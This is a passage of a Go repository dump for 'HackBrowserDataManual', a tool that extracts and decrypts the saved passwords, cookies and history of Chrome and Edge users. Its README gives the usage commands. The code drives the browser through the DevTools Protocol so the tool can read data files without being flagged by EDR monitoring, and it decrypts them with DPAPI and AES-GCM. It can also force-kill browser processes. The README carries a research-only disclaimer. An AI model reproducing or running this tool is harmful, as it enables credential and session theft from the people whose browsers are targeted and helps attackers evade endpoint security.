├── README.md ├── browser ├── browser.go ├── chrome.go └── edge.go ├── crypto ├── crypto.go ├── crypto_darwin.go ├── crypto_linux.go └── crypto_windows.go ├── data ├── cookie.go ├── data.go ├── history.go └── password.go ├── go.mod ├── go.sum ├── item ├── browser_darwin.go ├── browser_linux.go ├── browser_windows.go └── item.go ├── main.go └── utils └── utils.go /README.md: -------------------------------------------------------------------------------- 1 | # HackBrowserDataManual 2 | HackBrowserData的偏手动版,用于绕过特定情况下edr的限制 3 | 4 | 魔改自[HackBrowserData](https://github.com/moonD4rk/HackBrowserData) 5 | 原理部分查看我的这篇博客[HackBrowserDataManual开发日记](https://blog.z3ratu1.top/HackBrowserDataManual%E5%BC%80%E5%8F%91%E6%97%A5%E8%AE%B0.html) 6 | 用于应对特殊情况下edr等软件监控了chrome的数据文件导致无法还原密码的问题 7 | 仅在本地win10,win11上实验通过(虽然理论上我感觉应该能在linux和Mac上运行) 8 | 9 | 使用Chrome DevTools Protocol控制浏览器,通过文件下载以及file协议等方式使用浏览器进程获取数据文件,绕过监控 10 | 11 | 需注意windows下浏览器密码解密需要DPAPI的参与,因此仅支持解密当前用户的密码,若提权至system权限,需手动窃取token等方式切换用户上下文 12 | 用户数据文件的定位是依赖于家目录的,非默认情况下同样需要自行指定用户数据文件位置 13 | 14 | ## Disclaimer 15 | 本工具仅用于安全研究,提出一种edr监控浏览器文件后的绕过读取思路。 请勿使用于任何非法用途,严禁使用该项目对计算机信息系统进行攻击。由此产生的后果由使用者自行承担。 16 | 17 | 18 | ## Build 19 | 与HackBrowserData相同,sqlite依赖需要`CGO_ENABLED=1`下编译 20 | 21 | ## Usage 22 | 目前仅支持chrome和edge,理论上可以支持所有chromium内核的浏览器,但是我懒得整哈哈 23 | ```shell 24 | $ ./HackBrowserDataManual.exe 25 | extract password/history/cookie. 26 | bypass edr monitor of browser data file by using Chromium devtools protocol 27 | 28 | Usage: 29 | go_build_HackBrowserDataManual.exe [command] 30 | 31 | Available Commands: 32 | devtool Using dev tool protocol to extract cookies. 33 | download download file via dev tool protocol 34 | help Help about any command 35 | run Parse browser cookie, password and history 36 | 37 | Flags: 38 | -b, --browser string browser(chrome/edge) (default "chrome") 39 | -h, --help help for go_build_HackBrowserDataManual.exe 40 | -l, --log string log level(info, error) (default "info") 41 | 42 | Use "HackBrowserDataManual.exe [command] --help" for more information about a command. 43 | ``` 44 | 45 | ### run 46 | run命令一把梭当前用户的浏览器密码,cookie和history 47 | 48 | **需注意cookie只有当不存在浏览器进程时才可获取。若存在浏览器进程,可使用`--kill`选项关闭所有浏览器进程** 49 | ```shell 50 | $ ./HackBrowserDataManual.exe help run 51 | Parse browser cookie, password and history 52 | 53 | Usage: 54 | go_build_HackBrowserDataManual.exe run [flags] 55 | go_build_HackBrowserDataManual.exe run [command] 56 | 57 | Available Commands: 58 | cookie Parse browser cookie file 59 | history Parse browser history file 60 | password Parse browser Password file 61 | 62 | Flags: 63 | -f, --format string Output format(csv/json) (default "csv") 64 | -h, --help help for run 65 | 66 | Global Flags: 67 | -b, --browser string browser(chrome/edge) (default "chrome") 68 | -l, --log string log level(info, error) (default "info") 69 | ``` 70 | 71 | ### examples 72 | 如下命令直接梭当前用户默认目录下的chrome密码,cookie和history 73 | ```shell 74 | ./HackBrowserDataManual.exe run 75 | ``` 76 | 77 | 使用-b flag指定其他浏览器(目前只支持chrome和edge) 78 | ```shell 79 | ./HackBrowserDataManual.exe run -b edge 80 | ``` 81 | 82 | 如果梭不通或者出问题可以使用其下的的cookie,history和password三个子命令单独获取数据。如: 83 | ```shell 84 | ./HackBrowserDataManual.exe run cookie 85 | ``` 86 | 87 | 存在chrome进程需要关闭后才能获取cookie 88 | ```shell 89 | ./HackBrowserDataManual.exe run cookie --kill 90 | ``` 91 | 92 | 指定输出文件名,使用run命令一把梭时不支持指定文件名 93 | ```shell 94 | ./HackBrowserDataManual.exe run cookie -o /output/filename 95 | ``` 96 | 97 | cookie文件和masterKey位于非常规位置时 98 | ```shell 99 | ./HackBrowserDataManual.exe run cookie -i /path/to/cookieFile -k /path/to/keyfile 100 | ``` 101 | 102 | devtools子命令使用devtools protocol直接从浏览器中还原全部cookie 103 | devtools命令user data dir位于非常规位置 104 | ```shell 105 | ./HackBrowserDataManual.exe devtools -d /user/dir 106 | ``` 107 | 108 | download子命令将制定文件下载到当前文件夹 109 | ```shell 110 | ./HackBrowserDataManual.exe download /path/to/downloadfile 111 | ``` -------------------------------------------------------------------------------- /browser/browser.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "HackBrowserDataManual/crypto" 5 | "HackBrowserDataManual/item" 6 | "HackBrowserDataManual/utils" 7 | "context" 8 | "encoding/base64" 9 | "fmt" 10 | "github.com/chromedp/cdproto/browser" 11 | "github.com/chromedp/cdproto/network" 12 | "github.com/chromedp/cdproto/storage" 13 | "github.com/chromedp/chromedp" 14 | "github.com/shirou/gopsutil/process" 15 | log "github.com/sirupsen/logrus" 16 | "github.com/tidwall/gjson" 17 | "os" 18 | "os/exec" 19 | "path/filepath" 20 | "runtime" 21 | "strconv" 22 | "strings" 23 | "syscall" 24 | ) 25 | 26 | type ChromeExistError struct { 27 | } 28 | 29 | func (e *ChromeExistError) Error() string { 30 | return "chrome process exist but not killed, cookie can only be parsed when there is no chrome process exists. Using --kill to force kill chrome process" 31 | } 32 | 33 | type IBrowserUtil interface { 34 | findBinaryPath() string 35 | getUserDir() string 36 | } 37 | 38 | type Browser struct { 39 | Action string 40 | MasterKeyFile string 41 | InputFile string 42 | UserDir string 43 | name string 44 | masterKey []byte 45 | Util IBrowserUtil 46 | } 47 | 48 | func (b *Browser) InitPath() { 49 | if b.MasterKeyFile == "" && b.Action != item.History { 50 | b.MasterKeyFile = b.Util.getUserDir() + item.ChromiumKey 51 | b.MasterKeyFile = utils.NormalizePath(b.MasterKeyFile) 52 | log.Infof("Key file: %s", b.MasterKeyFile) 53 | } 54 | if b.InputFile == "" { 55 | var fileName string 56 | switch b.Action { 57 | case item.Password: 58 | fileName = item.ChromiumPassword 59 | case item.Cookie: 60 | fileName = item.ChromiumCookie 61 | case item.History: 62 | fileName = item.ChromiumHistory 63 | default: 64 | log.Fatalf("invalid action %s", b.Action) 65 | } 66 | b.InputFile = b.Util.getUserDir() + item.DefaultProfile + fileName 67 | } 68 | b.InputFile = utils.NormalizePath(b.InputFile) 69 | log.Infof("Input file: %s", b.InputFile) 70 | } 71 | 72 | func (b *Browser) CheckBrowser(kill bool) (bool, error) { 73 | processes, err := process.Processes() 74 | if err != nil { 75 | return false, err 76 | } 77 | 78 | for _, p := range processes { 79 | parent, _ := p.Parent() 80 | if parent == nil { 81 | continue 82 | } 83 | // TODO check process belonging 84 | name, _ := p.Name() 85 | if name == filepath.Base(b.Util.findBinaryPath()) { 86 | log.Infof("Chrome found, pid %d", parent.Pid) 87 | if kill { 88 | if runtime.GOOS == "windows" { 89 | cmd := exec.Command("taskkill", []string{"/PID", strconv.Itoa(int(parent.Pid))}...) 90 | err = cmd.Run() 91 | } else { 92 | // only works on unix system 93 | err = parent.SendSignal(syscall.SIGINT) 94 | } 95 | if err != nil { 96 | return false, err 97 | } 98 | log.Infof("Chrome process killed") 99 | return true, nil 100 | } 101 | return false, &ChromeExistError{} 102 | } 103 | } 104 | log.Infof("No %s process found", b.GetName()) 105 | return false, nil 106 | } 107 | 108 | func (b *Browser) RestoreBrowser() { 109 | browserName := b.Util.findBinaryPath() 110 | log.Infof("Restoring %s process", browserName) 111 | log.Infof("found binary at %s", browserName) 112 | cmd := exec.Command(browserName, "--restore-last-session") 113 | err := cmd.Start() 114 | if err != nil { 115 | log.Errorf("Restore %s failed: %s", browserName, err) 116 | return 117 | } 118 | log.Infof("Restore %s success", browserName) 119 | return 120 | } 121 | 122 | func (b *Browser) GetName() string { 123 | if b.name == "" { 124 | b.name = strings.TrimSuffix(filepath.Base(b.Util.findBinaryPath()), ".exe") 125 | } 126 | return b.name 127 | } 128 | 129 | func (b *Browser) GetAction() string { 130 | return b.Action 131 | } 132 | 133 | func (b *Browser) Read(target string) (string, error) { 134 | binaryPath := b.Util.findBinaryPath() 135 | opts := []chromedp.ExecAllocatorOption{chromedp.Flag("headless", true), chromedp.ExecPath(binaryPath)} 136 | ctx, cancel := chromedp.NewExecAllocator(context.Background(), opts...) 137 | defer cancel() 138 | ctx, cancel = chromedp.NewContext(ctx) 139 | defer cancel() 140 | 141 | var res string 142 | targetUrl := fmt.Sprintf("file://%s", target) 143 | log.Infof("Reading %s", targetUrl) 144 | err := chromedp.Run(ctx, chromedp.Navigate(targetUrl), chromedp.Evaluate("document.body.innerText", &res)) 145 | if err != nil { 146 | return "", err 147 | } 148 | _ = chromedp.Cancel(ctx) 149 | return res, nil 150 | } 151 | 152 | // Download Chrome只将含有不可见字符的文件视为文件下载,content type为ostream什么的,全明文文件的content type是text 153 | func (b *Browser) Download(target string) (string, error) { 154 | binaryPath := b.Util.findBinaryPath() 155 | opts := []chromedp.ExecAllocatorOption{chromedp.Flag("headless", true), chromedp.ExecPath(binaryPath)} 156 | ctx, cancel := chromedp.NewExecAllocator(context.Background(), opts...) 157 | defer cancel() 158 | ctx, cancel = chromedp.NewContext(ctx) 159 | defer cancel() 160 | 161 | done := make(chan string, 1) 162 | chromedp.ListenTarget(ctx, func(v interface{}) { 163 | if ev, ok := v.(*browser.EventDownloadProgress); ok { 164 | if ev.State == browser.DownloadProgressStateCompleted { 165 | done <- ev.GUID 166 | close(done) 167 | } 168 | } 169 | }) 170 | 171 | // get working directory 172 | wd, err := os.Getwd() 173 | if err != nil { 174 | return "", err 175 | } 176 | targetUrl := fmt.Sprintf("file://%s", target) 177 | log.Infof("Navigate to %s", targetUrl) 178 | if err = chromedp.Run(ctx, 179 | browser.SetDownloadBehavior(browser.SetDownloadBehaviorBehaviorAllowAndName). 180 | WithDownloadPath(wd). 181 | WithEventsEnabled(true), 182 | chromedp.Navigate(targetUrl), 183 | ); err != nil && !strings.Contains(err.Error(), "net::ERR_ABORTED") { 184 | // Note: Ignoring the net::ERR_ABORTED page error is essential here 185 | // since downloads will cause this error to be emitted, although the 186 | // download will still succeed. 187 | return "", err 188 | } 189 | 190 | guid := <-done 191 | log.Infof("wrote %s to %s", target, filepath.Join(wd, guid)) 192 | _ = chromedp.Cancel(ctx) 193 | return guid, nil 194 | } 195 | 196 | func (b *Browser) GetKey() ([]byte, error) { 197 | if b.MasterKeyFile == "" { 198 | return nil, nil 199 | } 200 | masterKeyContent, err := b.Read(b.MasterKeyFile) 201 | if err != nil { 202 | return nil, err 203 | } 204 | b.masterKey, err = b.parseMasterKey(masterKeyContent) 205 | if err != nil { 206 | return nil, err 207 | } 208 | return b.masterKey, err 209 | 210 | } 211 | 212 | func (b *Browser) parseMasterKey(content string) ([]byte, error) { 213 | encryptedKey := gjson.Get(content, "os_crypt.encrypted_key") 214 | if !encryptedKey.Exists() { 215 | return nil, nil 216 | } 217 | 218 | key, err := base64.StdEncoding.DecodeString(encryptedKey.String()) 219 | if err != nil { 220 | return nil, err 221 | } 222 | masterKey, err := crypto.DPAPI(key[5:]) 223 | if err != nil { 224 | log.Error("initialized master key failed") 225 | return nil, err 226 | } 227 | log.Info("initialized master key success") 228 | return masterKey, err 229 | } 230 | 231 | func (b *Browser) ParseCookies() ([]*network.Cookie, error) { 232 | if b.UserDir == "" { 233 | b.UserDir = b.Util.getUserDir() 234 | } 235 | b.UserDir = filepath.ToSlash(filepath.Clean(b.UserDir)) 236 | log.Infof("User home dir %s", b.UserDir) 237 | opts := []chromedp.ExecAllocatorOption{ 238 | // 不设置用户数据目录的话浏览器会使用一个临时目录,约等于匿名模式启动 239 | chromedp.UserDataDir(b.UserDir), 240 | chromedp.Flag("headless", true), 241 | } 242 | 243 | ctx, cancel := chromedp.NewExecAllocator(context.Background(), opts...) 244 | defer cancel() 245 | 246 | ctx, cancel = chromedp.NewContext(ctx) 247 | defer cancel() 248 | 249 | var cookies []*network.Cookie 250 | err := chromedp.Run(ctx, 251 | chromedp.ActionFunc(func(ctx context.Context) error { 252 | var err error 253 | cookies, err = storage.GetCookies().Do(ctx) 254 | if err != nil { 255 | return err 256 | } 257 | return nil 258 | }), 259 | ) 260 | if err != nil { 261 | return nil, err 262 | } 263 | 264 | // Close the browser gracefully to avoid corrupting the files in the user 265 | // data directory. 266 | err = chromedp.Cancel(ctx) 267 | if err != nil { 268 | log.Infof("chrome close failed: %s", err) 269 | } 270 | return cookies, nil 271 | } 272 | -------------------------------------------------------------------------------- /browser/chrome.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "HackBrowserDataManual/item" 5 | "os" 6 | "os/exec" 7 | "path/filepath" 8 | "runtime" 9 | ) 10 | 11 | type ChromeUtil struct { 12 | } 13 | 14 | func (c *ChromeUtil) getUserDir() string { 15 | return item.ChromeUserDataPath 16 | } 17 | 18 | // copy from chromedp allocate.go 19 | func (c *ChromeUtil) findBinaryPath() string { 20 | var locations []string 21 | switch runtime.GOOS { 22 | case "darwin": 23 | locations = []string{ 24 | // Mac 25 | "/Applications/Chromium.app/Contents/MacOS/Chromium", 26 | "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", 27 | } 28 | case "windows": 29 | locations = []string{ 30 | // Windows 31 | "chrome", 32 | "chrome.exe", // in case PATHEXT is misconfigured 33 | `C:\Program Files (x86)\Google\Chrome\Application\chrome.exe`, 34 | `C:\Program Files\Google\Chrome\Application\chrome.exe`, 35 | filepath.Join(os.Getenv("USERPROFILE"), `AppData\Local\Google\Chrome\Application\chrome.exe`), 36 | filepath.Join(os.Getenv("USERPROFILE"), `AppData\Local\Chromium\Application\chrome.exe`), 37 | } 38 | default: 39 | locations = []string{ 40 | // Unix-like 41 | "headless_shell", 42 | "headless-shell", 43 | "chromium", 44 | "chromium-browser", 45 | "google-chrome", 46 | "google-chrome-stable", 47 | "google-chrome-beta", 48 | "google-chrome-unstable", 49 | "/usr/bin/google-chrome", 50 | "/usr/local/bin/chrome", 51 | "/snap/bin/chromium", 52 | "chrome", 53 | } 54 | } 55 | 56 | for _, path := range locations { 57 | found, err := exec.LookPath(path) 58 | if err == nil { 59 | return found 60 | } 61 | } 62 | // Fall back to something simple and sensible, to give a useful error 63 | // message. 64 | return "google-chrome" 65 | } 66 | -------------------------------------------------------------------------------- /browser/edge.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "HackBrowserDataManual/item" 5 | "os/exec" 6 | "runtime" 7 | ) 8 | 9 | type EdgeUtil struct { 10 | } 11 | 12 | func (e *EdgeUtil) getUserDir() string { 13 | return item.EdgeUserDataPath 14 | } 15 | 16 | func (e *EdgeUtil) findBinaryPath() string { 17 | // 真的会有windows外的os用edge吗。。。先乱写 18 | var locations []string 19 | switch runtime.GOOS { 20 | case "darwin": 21 | locations = []string{ 22 | // Mac 23 | "edge", 24 | "msedge", 25 | } 26 | case "windows": 27 | locations = []string{ 28 | // Windows 29 | `C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe`, 30 | `C:\Program Files\Microsoft\Edge\Application\msedge.exe`, 31 | "msedge.exe", 32 | } 33 | default: 34 | locations = []string{ 35 | // Unix-like 36 | "edge", 37 | "msedge", 38 | } 39 | } 40 | 41 | for _, path := range locations { 42 | found, err := exec.LookPath(path) 43 | if err == nil { 44 | return found 45 | } 46 | } 47 | // Fall back to something simple and sensible, to give a useful error 48 | // message. 49 | return "msedge" 50 | } 51 | -------------------------------------------------------------------------------- /crypto/crypto.go: -------------------------------------------------------------------------------- 1 | package crypto 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/des" 7 | "crypto/hmac" 8 | "crypto/sha1" 9 | "crypto/sha256" 10 | "encoding/asn1" 11 | "errors" 12 | 13 | "golang.org/x/crypto/pbkdf2" 14 | ) 15 | 16 | var ( 17 | errPasswordIsEmpty = errors.New("password is empty") 18 | errDecodeASN1Failed = errors.New("decode ASN1 data failed") 19 | errEncryptedLength = errors.New("length of encrypted password less than block size") 20 | ) 21 | 22 | type ASN1PBE interface { 23 | Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) 24 | } 25 | 26 | func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { 27 | var ( 28 | n nssPBE 29 | m metaPBE 30 | l loginPBE 31 | ) 32 | if _, err := asn1.Unmarshal(b, &n); err == nil { 33 | return n, nil 34 | } 35 | if _, err := asn1.Unmarshal(b, &m); err == nil { 36 | return m, nil 37 | } 38 | if _, err := asn1.Unmarshal(b, &l); err == nil { 39 | return l, nil 40 | } 41 | return nil, errDecodeASN1Failed 42 | } 43 | 44 | // nssPBE Struct 45 | // 46 | // SEQUENCE (2 elem) 47 | // OBJECT IDENTIFIER 48 | // SEQUENCE (2 elem) 49 | // OCTET STRING (20 byte) 50 | // INTEGER 1 51 | // OCTET STRING (16 byte) 52 | type nssPBE struct { 53 | AlgoAttr struct { 54 | asn1.ObjectIdentifier 55 | SaltAttr struct { 56 | EntrySalt []byte 57 | Len int 58 | } 59 | } 60 | Encrypted []byte 61 | } 62 | 63 | func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { 64 | glmp := append(globalSalt, masterPwd...) 65 | hp := sha1.Sum(glmp) 66 | s := append(hp[:], n.salt()...) 67 | chp := sha1.Sum(s) 68 | pes := paddingZero(n.salt(), 20) 69 | tk := hmac.New(sha1.New, chp[:]) 70 | tk.Write(pes) 71 | pes = append(pes, n.salt()...) 72 | k1 := hmac.New(sha1.New, chp[:]) 73 | k1.Write(pes) 74 | tkPlus := append(tk.Sum(nil), n.salt()...) 75 | k2 := hmac.New(sha1.New, chp[:]) 76 | k2.Write(tkPlus) 77 | k := append(k1.Sum(nil), k2.Sum(nil)...) 78 | iv := k[len(k)-8:] 79 | return des3Decrypt(k[:24], iv, n.encrypted()) 80 | } 81 | 82 | func (n nssPBE) salt() []byte { 83 | return n.AlgoAttr.SaltAttr.EntrySalt 84 | } 85 | 86 | func (n nssPBE) encrypted() []byte { 87 | return n.Encrypted 88 | } 89 | 90 | // MetaPBE Struct 91 | // 92 | // SEQUENCE (2 elem) 93 | // OBJECT IDENTIFIER 94 | // SEQUENCE (2 elem) 95 | // SEQUENCE (2 elem) 96 | // OBJECT IDENTIFIER 97 | // SEQUENCE (4 elem) 98 | // OCTET STRING (32 byte) 99 | // INTEGER 1 100 | // INTEGER 32 101 | // SEQUENCE (1 elem) 102 | // OBJECT IDENTIFIER 103 | // SEQUENCE (2 elem) 104 | // OBJECT IDENTIFIER 105 | // OCTET STRING (14 byte) 106 | // OCTET STRING (16 byte) 107 | type metaPBE struct { 108 | AlgoAttr algoAttr 109 | Encrypted []byte 110 | } 111 | 112 | type algoAttr struct { 113 | asn1.ObjectIdentifier 114 | Data struct { 115 | Data struct { 116 | asn1.ObjectIdentifier 117 | SlatAttr slatAttr 118 | } 119 | IVData ivAttr 120 | } 121 | } 122 | 123 | type ivAttr struct { 124 | asn1.ObjectIdentifier 125 | IV []byte 126 | } 127 | 128 | type slatAttr struct { 129 | EntrySalt []byte 130 | IterationCount int 131 | KeySize int 132 | Algorithm struct { 133 | asn1.ObjectIdentifier 134 | } 135 | } 136 | 137 | func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) { 138 | k := sha1.Sum(globalSalt) 139 | key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New) 140 | iv := append([]byte{4, 14}, m.iv()...) 141 | return aes128CBCDecrypt(key, iv, m.encrypted()) 142 | } 143 | 144 | func (m metaPBE) salt() []byte { 145 | return m.AlgoAttr.Data.Data.SlatAttr.EntrySalt 146 | } 147 | 148 | func (m metaPBE) iterationCount() int { 149 | return m.AlgoAttr.Data.Data.SlatAttr.IterationCount 150 | } 151 | 152 | func (m metaPBE) keySize() int { 153 | return m.AlgoAttr.Data.Data.SlatAttr.KeySize 154 | } 155 | 156 | func (m metaPBE) iv() []byte { 157 | return m.AlgoAttr.Data.IVData.IV 158 | } 159 | 160 | func (m metaPBE) encrypted() []byte { 161 | return m.Encrypted 162 | } 163 | 164 | // loginPBE Struct 165 | // 166 | // OCTET STRING (16 byte) 167 | // SEQUENCE (2 elem) 168 | // OBJECT IDENTIFIER 169 | // OCTET STRING (8 byte) 170 | // OCTET STRING (16 byte) 171 | type loginPBE struct { 172 | CipherText []byte 173 | Data struct { 174 | asn1.ObjectIdentifier 175 | IV []byte 176 | } 177 | Encrypted []byte 178 | } 179 | 180 | func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) { 181 | return des3Decrypt(globalSalt, l.iv(), l.encrypted()) 182 | } 183 | 184 | func (l loginPBE) iv() []byte { 185 | return l.Data.IV 186 | } 187 | 188 | func (l loginPBE) encrypted() []byte { 189 | return l.Encrypted 190 | } 191 | 192 | func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { 193 | block, err := aes.NewCipher(key) 194 | if err != nil { 195 | return nil, err 196 | } 197 | encryptLen := len(encryptPass) 198 | if encryptLen < block.BlockSize() { 199 | return nil, errEncryptedLength 200 | } 201 | 202 | dst := make([]byte, encryptLen) 203 | mode := cipher.NewCBCDecrypter(block, iv) 204 | mode.CryptBlocks(dst, encryptPass) 205 | dst = pkcs5UnPadding(dst, block.BlockSize()) 206 | return dst, nil 207 | } 208 | 209 | func pkcs5UnPadding(src []byte, blockSize int) []byte { 210 | n := len(src) 211 | paddingNum := int(src[n-1]) 212 | if n < paddingNum || paddingNum > blockSize { 213 | return src 214 | } 215 | return src[:n-paddingNum] 216 | } 217 | 218 | // des3Decrypt use for decrypt firefox PBE 219 | func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { 220 | block, err := des.NewTripleDESCipher(key) 221 | if err != nil { 222 | return nil, err 223 | } 224 | blockMode := cipher.NewCBCDecrypter(block, iv) 225 | sq := make([]byte, len(src)) 226 | blockMode.CryptBlocks(sq, src) 227 | return pkcs5UnPadding(sq, block.BlockSize()), nil 228 | } 229 | 230 | func paddingZero(s []byte, l int) []byte { 231 | h := l - len(s) 232 | if h <= 0 { 233 | return s 234 | } 235 | for i := len(s); i < l; i++ { 236 | s = append(s, 0) 237 | } 238 | return s 239 | } 240 | -------------------------------------------------------------------------------- /crypto/crypto_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package crypto 4 | 5 | var iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} 6 | 7 | func DecryptPass(key, encryptPass []byte) ([]byte, error) { 8 | if len(encryptPass) <= 3 { 9 | return nil, errPasswordIsEmpty 10 | } 11 | return aes128CBCDecrypt(key, iv, encryptPass[3:]) 12 | } 13 | 14 | func DPAPI(_ []byte) ([]byte, error) { 15 | return nil, nil 16 | } 17 | -------------------------------------------------------------------------------- /crypto/crypto_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package crypto 4 | 5 | var iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} 6 | 7 | func DecryptPass(key, encryptPass []byte) ([]byte, error) { 8 | if len(encryptPass) < 3 { 9 | return nil, errPasswordIsEmpty 10 | } 11 | return aes128CBCDecrypt(key, iv, encryptPass[3:]) 12 | } 13 | 14 | func DPAPI(_ []byte) ([]byte, error) { 15 | return nil, nil 16 | } 17 | -------------------------------------------------------------------------------- /crypto/crypto_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package crypto 4 | 5 | import ( 6 | "crypto/aes" 7 | "crypto/cipher" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | func DecryptPass(key, encryptPass []byte) ([]byte, error) { 13 | if len(encryptPass) < 15 { 14 | return nil, errPasswordIsEmpty 15 | } 16 | 17 | return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) 18 | } 19 | 20 | func DecryptPassForYandex(key, encryptPass []byte) ([]byte, error) { 21 | if len(encryptPass) < 3 { 22 | return nil, errPasswordIsEmpty 23 | } 24 | // remove Prefix 'v10' 25 | // gcmBlockSize = 16 26 | // gcmTagSize = 16 27 | // gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes. 28 | // gcmStandardNonceSize = 12 29 | return aesGCMDecrypt(encryptPass[12:], key, encryptPass[0:12]) 30 | } 31 | 32 | // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc 33 | func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { 34 | block, err := aes.NewCipher(key) 35 | if err != nil { 36 | return nil, err 37 | } 38 | blockMode, err := cipher.NewGCM(block) 39 | if err != nil { 40 | return nil, err 41 | } 42 | origData, err := blockMode.Open(nil, nounce, crypted, nil) 43 | if err != nil { 44 | return nil, err 45 | } 46 | return origData, nil 47 | } 48 | 49 | type dataBlob struct { 50 | cbData uint32 51 | pbData *byte 52 | } 53 | 54 | func newBlob(d []byte) *dataBlob { 55 | if len(d) == 0 { 56 | return &dataBlob{} 57 | } 58 | return &dataBlob{ 59 | pbData: &d[0], 60 | cbData: uint32(len(d)), 61 | } 62 | } 63 | 64 | func (b *dataBlob) ToByteArray() []byte { 65 | d := make([]byte, b.cbData) 66 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) 67 | return d 68 | } 69 | 70 | // DPAPI (Data Protection Application Programming Interface) 71 | // is a simple cryptographic application programming interface 72 | // available as a built-in component in Windows 2000 and 73 | // later versions of Microsoft Windows operating systems 74 | // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82 75 | func DPAPI(data []byte) ([]byte, error) { 76 | dllCrypt := syscall.NewLazyDLL("Crypt32.dll") 77 | dllKernel := syscall.NewLazyDLL("Kernel32.dll") 78 | procDecryptData := dllCrypt.NewProc("CryptUnprotectData") 79 | procLocalFree := dllKernel.NewProc("LocalFree") 80 | var outBlob dataBlob 81 | r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(newBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) 82 | if r == 0 { 83 | return nil, err 84 | } 85 | defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) 86 | return outBlob.ToByteArray(), nil 87 | } 88 | -------------------------------------------------------------------------------- /data/cookie.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "HackBrowserDataManual/crypto" 5 | "HackBrowserDataManual/utils" 6 | "database/sql" 7 | _ "github.com/mattn/go-sqlite3" 8 | log "github.com/sirupsen/logrus" 9 | "sort" 10 | "time" 11 | ) 12 | 13 | type CookieManager struct { 14 | *Manager 15 | } 16 | 17 | type CookieData struct { 18 | Host string 19 | Path string 20 | KeyName string 21 | encryptValue []byte 22 | Value string 23 | IsSecure bool 24 | IsHTTPOnly bool 25 | HasExpire bool 26 | IsPersistent bool 27 | CreateDate time.Time 28 | ExpireDate time.Time 29 | } 30 | 31 | const ( 32 | queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` 33 | ) 34 | 35 | func (cm *CookieManager) Parse(masterKey []byte, dbfile string) error { 36 | db, err := sql.Open("sqlite3", dbfile) 37 | if err != nil { 38 | return err 39 | } 40 | defer db.Close() 41 | rows, err := db.Query(queryChromiumCookie) 42 | if err != nil { 43 | return err 44 | } 45 | defer rows.Close() 46 | log.Infof("reading sqlite db") 47 | cookies := make([]*CookieData, 0, 1024) 48 | for rows.Next() { 49 | var ( 50 | key, host, path string 51 | isSecure, isHTTPOnly, hasExpire, isPersistent int 52 | createDate, expireDate int64 53 | value, encryptValue []byte 54 | ) 55 | if err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent); err != nil { 56 | log.Warn(err) 57 | } 58 | 59 | cookie := CookieData{ 60 | KeyName: key, 61 | Host: host, 62 | Path: path, 63 | encryptValue: encryptValue, 64 | IsSecure: utils.IntToBool(isSecure), 65 | IsHTTPOnly: utils.IntToBool(isHTTPOnly), 66 | HasExpire: utils.IntToBool(hasExpire), 67 | IsPersistent: utils.IntToBool(isPersistent), 68 | CreateDate: utils.TimeEpoch(createDate), 69 | ExpireDate: utils.TimeEpoch(expireDate), 70 | } 71 | if len(encryptValue) > 0 { 72 | if len(masterKey) == 0 { 73 | value, err = crypto.DPAPI(encryptValue) 74 | } else { 75 | value, err = crypto.DecryptPass(masterKey, encryptValue) 76 | } 77 | if err != nil { 78 | log.Error(err) 79 | } 80 | } 81 | cookie.Value = string(value) 82 | cookies = append(cookies, &cookie) 83 | } 84 | // sort with create date 85 | sort.Slice(cookies, func(i, j int) bool { 86 | return cookies[i].CreateDate.After(cookies[j].CreateDate) 87 | }) 88 | cm.InnerData = &cookies 89 | return nil 90 | } 91 | -------------------------------------------------------------------------------- /data/data.go: -------------------------------------------------------------------------------- 1 | package data 2 | 3 | import ( 4 | "HackBrowserDataManual/browser" 5 | "HackBrowserDataManual/item" 6 | "encoding/csv" 7 | "encoding/json" 8 | "errors" 9 | "fmt" 10 | "github.com/gocarina/gocsv" 11 | log "github.com/sirupsen/logrus" 12 | "golang.org/x/text/encoding/unicode" 13 | "golang.org/x/text/transform" 14 | "io" 15 | "os" 16 | "path/filepath" 17 | "time" 18 | ) 19 | 20 | type IManager interface { 21 | Parse(masterKey []byte, inputFile string) error 22 | WriteData(browser *browser.Browser) error 23 | } 24 | 25 | type Manager struct { 26 | InnerData any 27 | OutputFileName string 28 | OutputFormat string 29 | } 30 | 